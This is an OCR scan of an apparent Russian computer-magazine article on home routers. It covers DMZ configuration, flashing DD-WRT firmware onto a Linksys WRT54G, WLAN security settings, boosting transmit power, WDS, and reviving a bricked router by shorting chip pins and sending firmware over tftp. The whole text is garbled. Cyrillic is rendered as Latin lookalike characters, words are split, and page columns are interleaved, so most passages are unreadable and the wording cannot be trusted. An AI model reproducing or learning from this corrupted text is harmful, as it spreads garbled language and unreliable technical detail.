aceHne pa3aejiOB HacTpoHKH b naHejin 
ynpaBjieHHH, oaHaxo Bee onepauuM 
MOvKHO npOBeCTH no aHaJIOTHH C TeMH 
aeHCTBHHMH, KOTOpBie MBI onHcajiH Ha 
npHMepe D-Link. IIojioacHM, hto b Ba- 
meM cjiynae HacTpoHKH DHCP-cepBepa 
6yayr pacnojioaceHBi He b 3aKjiaaKe 
«DHCP», a b pa3aene «Basic», oaHaKO h 
TaM bbi HanaeTe Te ace caMBie onunn: 
«DCHP Server Enable», «Disable», 
«Starting IP Address», c kotopbimh moxcho 
padoTaTB no Hamm ajiropHTMaM. 

■ ■ ■ CepreM KoHflpaigeB 


DMZ 

CBo6oflHan 6yc|)epHan 30Ha 


PoyTep DI-604 od/iaaaeT eiae oahom 
B a>KHOM cJiyH Kui/ien, ncno/ib30BaHne 
KOTOpOM MO)KeT nOMOHb BaM He TO/lbKO 
3aiAMTMTb CBOfO BHyTpeH H K)fO CeTb OT 
B03M0)KH0r0 BTOpiKeH M51, HO M OpraHM- 
30BaTb MOH 1/ITOpM H I" nonbITOK TaKOTO 
BTop>KeHM5i a6co/iK)THo 6e3onacHo A-nfl 
ocTa/ibHoPi ceTM. Penb mact o co3Aa- 
HMM A^M MJ1 MTapM30BaHH bIX 30H (DMZ). 
n OA 3TMM TepMMHOM noH m MaeTcn He- 
Koe npocrpaHCTBO BHyTpeH Hen ceTM, 
KOTopoe 6yAeT M30/iMpoBaHo ot oc- 
Ta/ibHoPi Haem LAN m OAHOBpeMeHHO 
BMAHO M3 BHeilJHePi ceTM. 
fl/ifl opraHM3auMM DMZ 3aPiAMTe Ha 
BK/iaAKy «Advanced» m HawMMTe KHonKy 
«DMZ», a Aa/ibwe npocm BBeAMTe aApec 

KOMnbfOTepa, KOTOpblPi Bbi XOTMTe BBeCTM 
b DMZ. BK/iiOHMTe npaBM/io, Bbi6paB on- 
u,vuo «Enable», m AeMM/iMTapM30BaHHafl 


30Ha roTOBa. Tenepb Bee 3anpocbi, npMxo- 
AfliAMe Ha BHeiiiHMM aApec, 6yAyT aBTOMa- 
TMHecKM HanpaB^nTbcn Ha MawMHy, Haxo- 
A5UAyK)C51 B AGMM/lMTapM30BaHH0M 30He. 


£<11 y*w Do ttfii.mMk. Ieoh 

wp jjKG. - me» -a 

CKMc Dl-fi&a w.b 





DMZ CBo6oAHan 6ycj)epHan 30Ha noMOMeT 
opraHM30Baib mohmtopmht nonbiroK btopikbhmh 
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KaK nojiyHMTb 6o/iee ObiCTpyio n 6e3onacHyio OecnpoBOflHyto ceTb c 6o/ibwen 30 hom 
noKpbiTMB? Bocnojib30BaBLuncb HaiunMM no,qcKa3KaMM no HacTponKe MapiupyTH3aTopoB, 
Bbi CMO>KeTe yBenMHnTb pea/ibHyio npon3BOflmejibHOCTb flOMawHew cein. 


B 3T0M CTaTbe 

yBem/iHi/iBaeM npoi/i3BOAi/iTe/ibHOCTb 
CoBeTbi no HacTpoMKe WLAN 
PemeHi/ie nacTO BCTpeHafOLAi/ixca npo6/ieivi 
n^Tb maroB k 6e3onacHOM cem 


n pOH3BOAHTejiH orpaHHHHBaiOT npe- 
aejTbHO AOnyCTHMyiO CKOpOCTB ABH- 
aceHHH CnOpTHBHBIX aBT 0 M 06 KJieH 

3HaneHHeM 250 km/h, tzk hto jhoGhtcjihm 
GbiCTpOH e3ABi jum npeoAOJieHHH 3Toro 
Gapbepa npHxoAHTca yAajiHTb BCTpoeHHbin 
3JieKTpOHHbiH orpaHHHHTejib. C Gecnpo- 
BOAHblMH MapinpyTH3aTOpaMH MbI M03CeM 
HaGjnoAaTb HHyio cmyaijHK): npOH3BOAH- 
TejiH oGopyAOBaHHH oGemaiOT BbicoKHe 
CKOpOCTH, KOTOpbie B03M0>KHbI TOJIbKO B 
TeOpHH. OAHaKO H 3AeCb MOvKHO OGOHTH 
orpaHHHeHHH. fljiH Hcnojib30BaHHB Maprn- 
pyra3aropa b nojiHyio CKJiy HyxcHO oGho- 


bhtb nponiHBKy yerponcTBa. K coxajie- 
hhk), GecmiaTHoe 110, cnocoGHoe Bbinoji- 
HHTb 3 th onepauHH, npeAOCTaBjieHO tojib- 
KO CTOpOHHHMH npOH3BOAHTeJIHMH. 

HaCKO/lbKO 6blCTpblM 
MOweT 6biTb Wi-Fi? 

Xota npoM 3 BOflHTejiM i/i o 6 eiAaiOT cko- 
pocTb nepeflaHM ao 300 M 6 mt/c (ctbh- 
AapT IEEE 802 . lln), b pea/ibHoPi >km 3 hh 
opi/ieHTMpoBaTbca hy>kho Ha Te AaHHbie, 
KOTOpbie no/iyneHbi onbiTHbiM nyieM. 


CTaHAapT 

TeopemHecKaa 

CKOpOCTb, 

M6mt/c 

Pea/ibHaa 

CKOpOCTb, 

M5mt/c 

802.11a 

54 

15-20 

802.11b 

11 

5-8 

802.1 1 g 

54 

15-20 

802.1 In 

300 

80-150 


TeM He MeHee 3aTpaneHHbie Ha nepe- 
AejiKy CHjibi h BpeMH Toro ctoht: npo- 
H3BOAHTejibHOCTb poyTepa yBejiHHH- 
BaeTCH Ha 20%. IIpHHTHO OTMeTHTb, 
HTO CaMOCTOHTeJIbHO MOAepHH3HpOBaTb 
M03CH0 nOpHAKa ABaAHATH MOAeJieft 
MapmpyTH3aTOpOB. TaGjrauy coBMec- 
THMOCTH pa3JIHHHbIX pOyTepOB H OGHOB- 
jieHHoro nporpaMMHoro oGecneneHHH 
MOvKHO HaHTH b HHTepHeTe no aApecy 
www.dd-wrt.com/wiki/index.php/ 
Supported_Devices, a Taioxe Ha caHTe 
www. openwrt . or g/Table OfHar dware . 

HoBbie MHKponporpaMMbi paGoTaiOT Ha 
Bcex MapmpynoaTOpax no OAHOMy npHH- 
HHny. B KanecTBe npHMepa mbi peninjiH 
Hcnojib30BaTb poyrep Linksys WRT54G 
(CTOHMOCTbK) OKOJIO $100) H MHKpOnpO- 
rpaMMy DD WRT. KpOMe toto, mbi noA- 
Po 6 ho paccxaxceM, hto AeJiarb b tom cjiy- 
nae, ecjin c MOAepHH3au;HeH B03HHKHyr 
KaKHe-jinGo npoGjieMbi. 


s±\ 
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BH 0 BJ 1 EHI/IE MI/IKPOnPOrPAMIVIbl 


T1pOI43BOflMTenbHOCTb 
VI tjjyHKMMOHa/lbHOCTb 


npeacae Bcero, HeodxoAHMO coeAHHHTb 
MapinpyrH3aT0p c KOMm>K)TepOM npn 
noMomn Kadejin, nocmJibKy jinn oGhob- 
jieHHH CHCTeMHOH nporpaMMBi Gecnpo- 
BoaHaa cbb3b 6 yaeT cjihihkom HenaAOK- 
HBIM BapHaHTOM nOAKJIIOHeHHH. 
EmMUB YcTaHaBjiHBaHTe oGhobjich- 
HBie BepCHH tojibko b tom cjiynae, eCJIH 
BBixopomo pa36HpaeTecB b ycTponcTBe 
MapnipyTH3aTOpoB. HeontiTHBiM nojiB- 
30BaTejiiiM jiymne npocTO KynHTB yace 
MOAepHH3HpOBaHHBie poyrepti, a He 3 kc- 
nepHMeHTHpOBaTB c MHKponporpaMMaMH. 

ycTaHaBJiNBaeM HOBoe no 

06HOBjieHHe MHKponporpaMMBi y Bcex 
MapIHpyTH3aTOpOB npOXOAHT OHCHb Gbict- 
po. Cmnajia CKonnpyHTe BIN-cjiaHJi c 
HOBOH BepCHeH npOIHHBKH Ha JIOKaJIB- 
hbih ahck. C noMomBio 6pay3epa Internet 
Explorer OTKpOHTe BeG-HHTepcjDeHC Maprn- 
pym3aT0pa Linksys. BBeAHTe IP-aapec 
Mapnipym3aTOpa (b HarneM cjiynae 3 to 
dyaeT 192.168.1.1) b aApecHyio CTpoxy h 
noaTBepAHTe bboa, HaxcaB Ha KJiaBHiny 
«Enter». flajiee BBeAHTe Banin nojiB30Ba- 
TejiBCKHe aaHHBie rjw tohkh AOCTyna: no 
yMOJinaHHio hmh nojib30BaTejiH 3aAaeTcn 
Kax root, a napojit — admin. 3aTeM b BeG- 
HHTep(jieHce OTKpoirre «Administration | 
Firmware Upgrade», nocjie nero HaacMH- 
Te «Browse» h BbidepHTe abohhbim 
meJIHKOM CKOnHpOBaHHBIH Ha XeCTKHH 
AHCK (jiaHJI odHOBJieHHOH BepCHH MHK- 
ponporpaMMBi. IIpH noMomn khohkh 
«U pgrade» bbi 3anycTHTe npopecc oGhob- 
jieHHH. Kax tojibko ycTaHOBKa IIO 
noAOHACT k KOHijy, haao 6yaeT npocTO 
HaxcaTb Ha KHomcy «Continue». 

Pa6oTaeM c HacTpoftKaivm 

npe^ae neM bbi CHOBa BBiHA^Te b ceTb 
npH noMonin odHOBjieHHoro Mapmpym- 
3aTOpa, HeodxoAHMO bbihojihhtb odiijHe 
HaCTpOHKH HHTepHeT-COeAHHeHHH H 
decnpOBOAHOH ceTH. 

Q 3aaaeM napojib AOCTyna 
k MapuipynmTopy 

npH nOMOUIH napOJIH MO>KHO 3 aiH,HTHTb 
poyrep ot HecaHKHHOHupoBaHHoro AOCTy- 
na H 3 BHe. Jljin 3 T 0 T 0 3 aHAHTe B Bed- -> 


am? COBETbl: yjiyHuiaeM WLAN 


BE30l1ACH0CTb 



yTMJIMTbl HA HAUJEM flMCKE 


ripMMepHO 30% Bcex 6ecnpoBOflHbix 
ceTen ABjimoTcn He6e3onacHbiMM. 
Xanepbi nemo Moiyr npoHMKHyTb b 
ceTb — 1/1 fla>Ke BnonHe neranbHo! Mbi 
paccuaweM o cpeflCTBax 3amnTbi WLAN. 
FlpaMeM SSID 

BbiK/ifOHMTe B03M0>KH0CTb nepeAaHM 
MMeHM CeTM (SSID). B 6oJlbLUHHCTBe 
c/iynaeB Bbi HaMfleie 3Ty onpi/iK) b pa3- 
Ae/ie «WireLess» Memo MapwpyTM3aTO- 
pa. 3 to CAe/iaeT Baiuy ceTb HeBi/iAMMOM. 
BK/iioMaeM wnc|DpOBaHMe 
Earn Bam m ycTpoiiCTBa noAAepwHBa- 
K)T WPA, nyHwe Bbi6paTb mmchho 
3tot cnoco6 b pa3Ae/ie «WireLess». 
n poTOKon mnc|DpoBaHM5i WEPywe 
B3/iOMaH, m ero He/ib3n peKOMeHAO- 
BaTb k Mcnojib30BaHmo. TaK>Ke npn- 
MeHUMTe A/iHHHbie naponi/i. 
BKAiOMaeM MAC-c()MAbTpauMio 
3ia ormmi i/iMeeicn TOJibKO y TepMM- 
HajibHoro o6opyAOBaHi/in, noAAep- 
iKMBaioiAero ceieBoPi Aocryn no ID. 

Ee TaK>Ke mo>kho HaMTM b Memo 
«WireLess» MapmpyTM3aTopa. 
3anycKaeM 6paHAMayap 
flBa 6paHAMay3pa — oamh Ha Mapm- 
pyTM3aiope (b MeHio HacipoeK 
«FirewaLL»), APyroPi Ha KOMnbiOTe- 
pe — o6ecnenaT HamiynwyK) 3aiAMTy. 
3aflaeM napo/ib MapuipyTM3aiopa 
B pa3Ae/ie «System» Bbi 3aAaeie 
napo/ib ceieBOM HacipoMKM 
WLAN-ycTpoPicTBa. 


nOflOnbITHbIM KP0J1MK 


B KanecTBe npMMepa Mbi ncnonb30Ba- 
n m b AaHHOM CTaTbe MapmpyTM3aTop 
WRT54 KOMnaHMM Linksys. 3Ta mo- 
Ae/ib BbinycKaeTCn b HecKO/ibKi/ix Ba- 
pnaHiax: WRT54G — 6ecnpoBOAHoPi 
MapmpyTMsaTop, WRT54GL — poyTep 
c ycM^eHHoPi ci/icTeMOM 6e3onacHocTM 
(AES), WRT54GS — poyTep c noBbi- 
weHHoPi CKopocTbio nepeAaHM Aa h- 
Hbix (TexHO/iorMn SpeedBooster). 


DD-WRT-Firmware O© 

Bo^biue cpy h K141/1 m , Bbirne npon 3 BOflme^bHOCTb — 
npoiui/iBKa DD WRT chumbt c TopM 03 a Bam Mapwpy- 
TM3aTop. 3 to onTMMa^bHbm BapMam ,qriR tmdh i/ih ra ! 


OpenWRT @© 

MMKponporpaMMa OpenWRT npefl/iaraeT eu\e 6onb- 
lue cpy h K 141/1 Pi , oflHaKO stot Bapi/iam M0>KeT 6biTb pe- 
KOMeHflOBaH TonbKO 3KcnepiaM. 


Sveasoft-Alchemy-Firmware ®@ 

C noMombio «ajixnMMM» mo>kho, HanpMMep, 3Myjin- 
poBaib HecKOJibKO SecnpoBOflHbix ceiew, ho nonHan 
Bepci/ifl nporpaMMbi nnaTHaR. 


WiFi-Box-Firmware @© 

06HOBneHHaR Bepci/iR nponiHBKii flna MapnipyTM3aT0- 
pa Linksys npeflOCTaBnaei 6onbiue cpy h K pi/i ii , He Me- 
HRR npMHpnnna/lbHO Be6-MHTept|DeMC. 


PuTTy ©^ 

C 3TMM Telnet-MHCTpyMeHTOM Bbi M0)KeTe COeflMHRTb- 
cr c KOMnbHDTepoM no npoTOKony SSH m oSMeHM- 
BaTbCR MHCjDOpMapi/ieM. 


NetStumbler @@ 

Ectim Bbi xoTme 3HaTb OonbLue 0 SecnpoBOflHbix ce- 
trx, Mcno/ib3yMTe NetStumbler. KpoMe Bcero nponero 
c ero noMombio mo>kho Bbi6npaTb paflMOKaHanbi. 


HotSpot Manager ®@ 

Ecnw Bbi xoTme 6biTb b cein fla>Ke bo BpeMR flBM>Ke- 
h mr , 3Ta yTMnma noflCKa>KeT, rfle no nym HaxoflmcR 
cneflyiomaR tohk 3 flociyna. 



Cain&Abel @© 

3ia becnnaTHaR yTMnma no3BonRei «BcnoMHHaTb» 
yiepRHHbie naponw. KpoMe toto, nporpaMMa ck3h m- 
pyeT ceieBOM TpacpMK. 


Wireshark ®@ 

BecnnaTHaR nporpaMMa Mowei aHann3npoBaTb ceie- 
bom TpacjDMK m cnocobHa npocxaHi/ipoBaTb npw 3 tom 
6onee 472 npoTOKonoB. 
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033? PRAXIS BecnpoBOflHbie TexHO/iorMM 


HHTepcjDeHC ycTpoiiCTBa, Ha6paB b 6pay3epe 
IP-anpec MapinpyrH3aT0pa — 192.168.1.1, 
h OTKpOHTe CTpammy <<Administration>> b 
pa3nene «Management». B none «Router 
Username» 3anaHTe hmh nonB30BaTena, 
a b nojiHx « Router Password» n « Reenter 
to confirm» — napojiB. Hnnce b OKHe 
«Language» cnenyeT yKa3aTB h3bik Memo 
(no yMOJinamno — aHranncKHn). Bee cne- 
jiaHHBie H3MeHeHHH dynyr coxpaHeHBi 
nocjie HaxcaTHH Ha KHonxy «Save Settings». 
0 HacTpanBaeM KomJmrypauHio DSL 
( ebinoAHRemcM e moM cjiywe, ecAU ebi nod- 
latonenbi k Humepnemy no DSL) 

/1,JIH HaCTpOHKH DSL Ha^O BBldpaTB 
3aKJianKy «Basic Setup» b pa3nene «Setup» 
n yKa3aTB Tnn noAKmoaeHmi «PPPoE». 
B CTpoxy «User name» BBenHTe jioraH ana 
noAKjnoneHHH k BameMy npoBannepy, a b 
none «Password» — napojn>. 

0 HacTpanBaeM decnpoBOAHVK) ceTb 
3annHTe b Memo «Basic Wireless Settings» 
pa3nena «Wireless» n BBidepuTe b CTpoxe 
«Wireless Network Mode» onnrno «Mixed». 
Ecjih BaM HeodxoflHMO noAKnioaHTB k 
WLAN KaKoe-jindo ycTponcTBO c nopTOM 
Ethernet, HanpHMep nrpOByio npncTaBKy, 
cnenyeT ncnojiB30BaTB pexcHM «Bridge» 
(moct). BnnmnTe b none «SSID» Ha3BaHne 
decnpOBOAHon cem. CoxpaHHB 3Ty hh- 
4>opMan;mo HancameM Ha «Save Settings», 
bbi nonaneTe b pa3nen «Wireless | Wireless 
Security». B Memo «Encryption Methods» 
BbidepHTe «WPA Pre-Shared-Key». 3 tot 
ran mn(J>poBaHHH HBjiaeTca AOCTaToano 
HaAexcHBiM n noAaepxcHBaeTCx 6 ojib- 
mnHCTBOM ycTponcTB CTannapTa Wi-Fi. 
Ecjih nee bbi ncnojiB3yeTe AOMa tojibko 
coBpeMeHHBie WLAN-ycTponcTBa, Torna 
nano BbidpaTb WPA2 c AES-imBjipoBamieM 
(Advanced Encryption Standard). 


ripaBmibHocTb pa3MeiueHmi onpeAe/meT 
CKopocTb pa6oTbi ceTM. HaiuM noflCKa3- 
k m noMoryi b onTMMa/ibHOM yciaHOBKe 
6ecnpoBOAHoro MapmpyTM3aTopa. 

Emm 

JlyHLUMM cnoco6oM nBjnieTCfl 3aKpen/ie- 
h M e 6ecnpoBOAHoro MapwpyTM3aTopa 
Ha deHe — no bo3mo>khoctm KaK mo>k- 
ho Bbiwe. B TaKOM MecTe toh K e Aociyna 
He 6yAyT MeiuaTb hm KOMnbioTep, hm 
A pyrne 3/ieKTpoH h bie ycTpoiiCTBa TMna 
DECT-Te/iec|)OHa, mmkpobo/ihobom neHM, 
aAamepa Bluetooth m np. 


B none «WPA Shared Key» bbi 3anaeTe 
napo Jib k WLAN. Oh nonxeH conep- 
ncaTb He MeHee 15 cnMBonoB n coctohtb 
K ax H3 AHcjip, TaK n 6yKB, HHaae ero 
mojkho dyneT B3noMaTB npocTbiM non- 
dopOM cnoB. 

Mcnojib3yeM cneitnanbHbie 

CpyHKUMM 

Tenepb mbi nepexonuM k tohkoh HacTpon- 
Ke. B naHHOM cjiyaae b KaaecTBe npnMepa 
mbi ncnonB30Bann npomnBKy DD WRT, 
OAHaKO b npyrnx Bepcnnx MHKponpo- 
rpaMM 3TH (JiyHKnHH Ha3BIBaiOTC5I TOHHO 
TaK xce Hnn cxoxchm odpa30M. 

D YBejiHHHBaeM 30Hy neMCTBMn WLAN 
ToncTBie OKHa, ctchbi n pannonoMexH ot 
npyrnx sneKTponpndopOB — 3 to CMepTB 
AJin decnpOBOAHon cem. B atom cjiyaae 
Moxcen noMOHB TonBKO yBenmieHne molu- 
hocth nepenarnnKa. 3aaacryio OHa coBceM 
He3HannTenBHa b 3aBOACKnx Monennx, 
HecMOTpa Ha to hto Mapmpyrn3aTOp 
peanBHO MonceT padoTaTB c ropa3no donB- 
men npon3BOAHTejn>HOCTBio. HanpHMep, 
KOMnamiH Linksys orpamranna molhhoctb 
poyrepOB 28 mBt, xoth de3 KaKoro-nndo 
Bpena nna OKpyncaiomnx moxcho ncnonB- 
30BaTB H3JiynaTenn no 100 mBt. Ho Baa 
Bepcna MHKponporpaMMBi CHHMaeT 3 to 
orpamiaeHHe h no3BOJiaeT perynnpOBaTB 
moiahoctb b npenenax ot 0 no 25 1 mBt. 
Emma HecMOTpa Ha npenocTaBjiae- 
Myio B03MoamocTB, mbi He peKOMeHAyeM 
nepecTynaTB ycTaHOBneHHBin b EBpone 
npenen mollihocth aHTeHHBi b 100 mBt 
nan 20 dbi. B npomBHOM cjiyaae bbi pne- 
KyeTe cbohm 3nopoBBeM h caMoayBCTBneM 
OKpyacaiomnx. BnpoaeM, b HacToa mnh 
MOMeHT eine nponojiacaiOTca nccnenoBa- 
mia cocToaTenBHoern 3 thx orpaHnnennh. 


mmm 

Ec/IM paAMOCMTHa/l AO/DKeH npOHMK3Tb 
CKB03b TOJICTbie 6eTOHHbie CTeHbl, 3TO- 
ro MMeeTca cneuMa/ibHoe peweHMe — Ha- 
npaBaeHHbie aHTeHHbi. Bbi MoweTe 3aMe- 
HMTb mmm CTaHAapTHbie aHTeHHbi poyTepa. 


IIPOrPAMMHOE 0BECI1EHEHME 


Ec^m pa6oTa ceTM Bee eme HeyAOB/ieTBO- 
pMTe/ibHa, mo)kho npMcoeAMHMTb Aonoa- 
HMTejibHyio TOHKy AOCTyna (McnoBb3yji 
Wireless Distribution System, WDS). 

KaK 3 to pa6oTaeT, iMTaine b nyHKTe 
«klcnoab3yeM HecKO/ibKO AP». 


HtoObi ycTaHOBHTB MaKCHManBHO nonyc- 
THMyio MOLHHOCTb H 3 nyaemia, BbiHTHTe 
3 HaaeHne moiahocth aHTeHH Bamero 
Mapmpym 3 aTOpa (b TexmraecKHx xapaK- 
TepncTHKax ohh yKa 3 aHBi b dbi) H 3 npe- 
AenBHO nonycTHMBix 20 dbm. nojiyaeHHoe 
3 HaaeHHe molhhocth (b dbm) Heodxonn- 
mo nepeBecm b BaTTBi. fljia 3 Toro mojkho 
BOcnonB 30 BaTBca KanBKyjiaTopoM , pa 3 Me- 
meHHBiM Ha cariTe http://home.in.tum.de/ 
~prilmeie/wlan/db-umrechnung. xhtml. 
nojiyaeHHBin pe 3 ynbTaT HeodxonnMO BHe- 
cm b HacTpobKH poyrepa. 

B HameM cjiyaae 3 to bbitjuiaht cnenyio- 
iahm odpa30M: aHTeHHBi poyrepa Linksys 
HMeiOT mohjhoctb H3nyaemia 2,2 dbi. 
nocne BBiaeTa ototo 3HaaeHna H3 npe- 
AenBHO nonycTHMoro 20 dbm mbi nojiyaa- 
eM 17,8 dbm, hto b nepecaeTe naeT 61 mBt. 
B pa3nene poyrepa «Wireless» 3annHTe b 
M emo «Advanced Wireless Settings» n BBe- 
AHTe b CTpoxe «Power» oto 3HaaeHne. 

0 noBbimaeM nponycimyio 
cnocodHOCTb WLAN 

B cnyaae eenn bbi nnaHnpyeTe odBenn- 
hhtb b decnpOBOAHyio ceTB ot oahoto 
AO Tpex KnneHTOB, mojkho hobbichtb 
npOH3BOAHTenBHOCTB padOTBI, HcnonB- 
3ya onn;mo «Frame Burst». 3to no3BonnT 
yBenmiHTB odbeM npoxonauinx no panno- 
KaHajiy namiBix. fleno b tom, hto nocne 
Kaacnoro OTOcnaHHoro naxeTa naHHBix 
nepenaiamai noroBapnBaiOTca o tom, kto 
dyneT nepecBinaTB cnenyiOLUHh naxeT, a b 
pencHMe «Frame Burst» poyrep BMecTO 
oacHAamia ompaBjiaeT naHHBie de3 npen- 
BapHTenBHoro 3anpoca. OnHaKO cnenyeT 
yanTBiBaTB, hto b cjiyaae OAHOBpeMeHHon 
padoTBi donee Tpex ycTponcTB c nocTaBKon 
naxeTOB Moryr B03HHKHyTB npodneMBi. 

HTOdBI n03KCnepHMeHTHp0BaTB C 3TOH 
(JiymoineH, b pa3nene «Wireless» 3annHTe 
b Memo «Advanced Wireless Settings» n 
H3MeHHTe ominio «Frame Burst» Ha 
«Enable», nocne aero coxpaHHTe npon3- 
BeneHHBie HacTpoHKH. 

0 Hcnonb3yeM HecKOJibKO AP 
Ecjih BaM Bee eme He xBaTaeT 30hbi Aenc- 
TBHH, MO>KHO nOnpodOBaTB odBeAHHHTB 
ABa Mapmpym3aTOpa b OAHy CHcreMy 
OdBiaHo cbyHKHHK) «WDS» (Wireless 
Distribution Service) nonnepncHBaiOT tohb- 
ko npocjieccHOHanBHBie moacjih, OAHaKO 
dnaronapa hoboh nponiHBKe OHa CTaHeT 
AOCTynHa h ajm odBiaHBix poyrepOB. JXjw 
ee HacTpoHKH b pa3nene «Wireless» boh- 


OnTMManbHoe pa3MemeHne tomkm AOCTyna 



PiicKOBaHHoe pememie: 

KopoTKoe 3aMbiKaHne cnaceT Bam poyiep 

Ec/ih o 6 HOB/ieHHafl Bepci/m MapiupyTM 3 aTopa c hobom npoiunBKOM He pa 6 oiaeT, Bbi 
MO>KeTe kopotkmm 3 aMbiKaHneM nepeBecm poyiep Linksys b pe>KMM «Recovery» 
n BoccTaHOBMTb opMrMHa/ibHyK) npowMBKy. KaK 3 to CAe/iaTb, nmaMTe b pa 3 fle/ie 
«l/lcnpaB^BeM c 6 o m b pa 6 oie poyiepa». 



jivitq b Memo «WDS» u aKTHBHpyHTe nep- 
Boe nojie. OTMeTBTe «LAN» h BBeaHTe 
pnaoM cnpaBa MAC-aapec apyroro Map- 
HipynoaTOpa (bbi mo aceTe HaHTH MAC- 
aapeca c odpaTHoit ctopohbi ycTponcTB). 
CoxpaHHTe HacTpOHKH h nepe 3 anycTHTe 
poyrep. AHajioraHHyio npoueaypy Heodxo- 
aHMO npOH 3 BecTH h co BTOpBiM Mapnipy- 
TH 3 aTOpOM — C TOM JIHHIB pa 3 HHHeH, HTO 

bbi 3 aHOCHTe b Hero MAC-aapec nepBoro. 
E3MEEI3 HMeifre b BMay, hto WDS He 
noaaep>KHBaeT LUMcjipoBamie WPA2, Tax 
hto BaM npHaeTCH HcnojiB 30 BaTB ycTapeB- 
uihh BapHaHT — WPA. 

Q OnTHMH3HpyeM HacTpoHKH 6paHAMayapa 
BjiaroaapH hoboh Bepcrni MHKponpo- 
rpaMMBi 6paHaMayop TenepB CMoaceT 
4 >HJIBTpOBaTB cookies, a 03 aKTHBHpOBaTB 
Java-aimeTBi h 3a1n.Hin.aTB ot ping-aTax. 
J\jm 3 TOTO Heo6xOaHMO aKTHBHpOBaTB 
mejiHKOM MBimn xejiaeMBiii (Jihjibtp b 
M emo « Security | Firewall». 


PEWEHI/IE nPOEJlEM 


HcnpaBiineM c6on 
b pa6oie poyiepa 


HecMOTpn Ha npocTOiy hoboh Bepcnn 
npomHBKH, npH ee o6HOBjiemiH nojiB30Ba- 
TejiH MoaceT nocTHTHyTB Heyaaua. OaHaKO 
aaace b tom cjiynae, ecjin Bee jiaMnoHKH Ha 
poyrepe nepecTaHyr ropeTB, ecTB cnoco6 
cnacra HcnopueHHoe ycTponcTBO. Mbi 
noacKaaceM, hto mo>kho caejiaTB. 

PeMOHTMpyeM Mapuipym 3 aTop 

B 6ojiBmHHCTBe cjiynaeB nocjie Heyaan- 
hoh nepenpomHBKH MapmpyTH3aTOpa 
OCTaeTCH TOJIBKO OaHH BapHaHT — 
OTnpaBHTB yCTpOHCTBO npOH3BOaHTe- 
jho. Ho aejio npHHHMaeT coBceM hhoh 
o6opot, ecjin bbi HBjmeTecB BjiaaejiB- 
iteM poyTepa Linksys WRT54, kotopbih 
mbi BBiGpajiH b xanecTBe npHMepa. 

HeMHoro HHiyHi^HH h CKpemca Aim 
6yMam noMoryr BBi3BaTB 3aMBiicaHHe b 
unnceTe MapmpyTH3aTOpa h, KaK cneac- 
TBHe, BepHyTB ero k >kh3hh. Bee aejio b 
TOM, HTO nocjie KOpOTKOTO 3aMBIKaHHH 
MapmpynmTOp WRT54 nepe3arpy>KaeTCH 
b 3auiHineHHOM peacmvie h oacnaaeT ycTa- 
HOBKH HOBOH MHKpOnpOTpaMMBI. 

CHanajia CKaHaifre opHrHHajiBHyio npo- 
mHBKy Linksys c canra npoH3BoauTejiH 
www.linksys.com. JIjul o6MeHa HHcjDopMa- 


aneH c HcnopnemiBiM ycTponcTBOM 3aaaii- 
Te KOMnBioTepy CTaTHnecKHH IP-aapec. 
OTKpoiiTe Ha naHejin ynpaBjieHHH 
Windows XP «Network connections» h 
npaBOH KjiaBHmeii mbiihh mejiKHHTe no 
«Local Area Connections BBi6epHTe 
onamo «Properties» h mejiKHHTe anaac- 
aBi no «Internet Protocol (TCP/IP)». 

AKTHBHpyHTe OmiHIO pyHHOH HaCTpOH- 
kh «Use the following IP address:» h b 
CTpoKe «IP address» BBeaHTe 3HaneHHe 
«192.168.1.2». B KanecTBe MacKH noaceTH 
« Subnet mask» yKaaurre «255.255.255.0», 
nocjie nero anaacaM HaacMHTe Ha «0K». 
TenepB OTKpoifre okho KOMaHaHOH CTpo- 
kh DOS, HaacaB Ha «Start | All Programs | 
Accessories | Command Prompts B OKHe 
BBeaHTe KOMaHay ping -t 192.168.1.1 h 
HaxcMHTe KjiaBHmy «Enter». 

OTKjiiOHHTe MapmpyTH3aT0p ot mrra- 
HHH, HO OCTaBBTe eTO npHCOeaHHeHHBIM 
KadejieM k KOMnBioTepy. 

EMEEEa HaHHHaH C 3T0T0 MOMeHTa 
cyntecTByeT phck nopaacemiH 3JieKTpHHec- 
KHM TOKOM — 6yaBTe npeaeJIBHO BHHMa- 
TeJIBHBI H OCTOpOaCHBl! CHanajia CHHMHTe 
chhiok) KpBimKy, a noTOM nojiHOCTBio yaa- 
jiHTe Kopnyc Linksys. HaHanre MHKpOHHn 
(cm. H3o6pa3ceHHe HaBepxy CTpammBi): 
Bee ero ho>kkh npoHyMepoBaHBi , Ha Kaac- 
ayio miTyio HaHeceHa dejian nepTa. 


3aMKHHTe CKpenKOH I6-10 h 17-io hoxckh 
h noaKJiiOHHTe Mapmpym3aT0p k cem. 

KaK TOJIBKO BBI yBHaHTe npH nOMOUIH 
nHHra b OKHe DOS, hto KOMnBiOTep coean- 
HHJICH C MapmpyTH3aTOpOM, OCTOpOvKHO 
CHHMHTe CKpemcy. 3aTeM OTKponre BTOpoe 
okho DOS h HadepHre b HeM KOMaHay 
tftp -i 192.168.1.1 put, nocjie nero nepeTa- 

lUHTe OpHTHHaJIBHyiO npOLUHBKy B OKHO. 
noaTBepaHTe BBoa aaHHBix HaacaTneM 
«Enter». nocjie ycnenmoro nepeHOca 
noao>KauTe ane MHHyTBi, noKa Mapmpym- 
3aT0p He nepe3arpy3HTCH yace noa opHra- 
HaJIBHOH MHKpOnpOTpaMMOH. 

Pa3MeuieHMe ameiiHbi 

HHoraa pa3JiHHHBie ycTponcTBa otjihhho 
padoTaiOT b Banieii decnpoBOAHOH cera, 
OaHaKO HOBeHBKHH KOMnBiOTep CO BCTpO- 
eHHoii decnpoBoaHon ceTeBon iuiaTOH 
iuioxo npHHHMaeT cnrHaji. flejio b tom, hto 
B dOJIBIHHHCTBe HeaOpOTHX HK HCnOJIB3y- 
IOTCH BCTpOeHHBie PCI-KapTBI. fljIH 3antH- 
tbi aHTeHH ot iioBpe>KaeHHH npH cdopKe H 
nepeB03Ke KOMnBiOTepa hx yKjiaaBiBaiOT b 
Kopnyc, oaHaKo m erajui n h ec k ne ctchkh 
nK 3aMeTH0 cmiacaiOT HyBCTBHrejiBHOCTB 
aHTeHH k paanocnmajiy, hto OTpaacaeTCH 
Ha KanecTBe coeaHHeHHH. PemHTB 3iy 
npodjieMy ohchb npocTo: BBiHecHTe aHTeH- 
Hy Hapyacy Kopnyca. Hsu? 
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PRAXIS USB-HaKormTe/ii/i 


HynecHbie nporpaMMbi 


Bcerfla mvieTb c co6om jiiofinMbm co0t oneHb yaoSho. CHIP noflroTOBi/m HecKOJibKO npo- 
